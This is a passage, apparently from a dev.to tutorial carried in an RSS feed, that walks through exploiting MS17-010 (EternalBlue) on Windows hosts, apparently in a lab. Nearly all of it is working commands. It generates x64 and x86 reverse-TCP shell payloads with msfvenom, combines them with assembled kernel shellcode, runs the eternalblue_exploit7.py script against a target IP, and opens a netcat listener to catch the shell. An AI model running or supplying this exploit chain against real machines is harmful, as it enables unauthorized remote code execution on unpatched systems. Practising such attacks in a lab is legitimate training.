&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fobknl0kj4og5nax3icm7.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fobknl0kj4og5nax3icm7.JPG" alt="Alt Text" width="743" height="30"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 4. Now generate a binary payload with your LHOST and name it sc_x64_payload.bin.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=tun0 --platform windows -a x64 --format raw -o sc_x64_payload.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzk53o5wtejz7od9y325e.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzk53o5wtejz7od9y325e.JPG" alt="Alt Text" width="800" height="33"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 5. Concentrate payload &amp;amp; shellcode&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;cat sc_x64_kernel.bin sc_x64_payload.bin &amp;gt; sc_x64.bin&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32xw371q2quwlej0rhy2.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F32xw371q2quwlej0rhy2.JPG" alt="Alt Text" width="800" height="42"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 6. Now assemble the kernel shellcode with nasm.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxoek7rp0bhnkbq5jzzb.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgxoek7rp0bhnkbq5jzzb.JPG" alt="Alt Text" width="800" height="28"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 7. Then generate a binary payload and label this one sc_x86_payload.bin&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=tun0 --platform windows -a x86 --format raw -o sc_x86_payload.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepl89sgcstxiima6du0s.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fepl89sgcstxiima6du0s.JPG" alt="Alt Text" width="800" height="23"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 8. Concentrate payload and shellcode.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;cat sc_x86_kernel.bin sc_x86_payload.bin &amp;gt; sc_x86.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0nusk7nzv6ukzghqhre.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fn0nusk7nzv6ukzghqhre.JPG" alt="Alt Text" width="800" height="34"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 9. Now its time to merge them if that's what you would like to do.  This will put them in the same binary and included in the eternalblue_sc_merge.py script.&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;python MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe0tequrr9i4w9e29wjti.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe0tequrr9i4w9e29wjti.JPG" alt="Alt Text" width="800" height="31"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Step 10. Now run the exploit. Just as a warning I had to run this multiple times to catch a shell and reverted my box as well. &lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;python MS17-010/eternalblue_exploit7.py targetIP sc_all.bin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs66h0hig5zpo8gae7ew5.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fs66h0hig5zpo8gae7ew5.JPG" alt="Alt Text" width="800" height="186"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Command:
&lt;/h1&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 443&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdb3puhshsupg3q9jsdve.JPG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdb3puhshsupg3q9jsdve.JPG" alt="Alt Text" width="800" height="178"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
  </channel>
</rss>
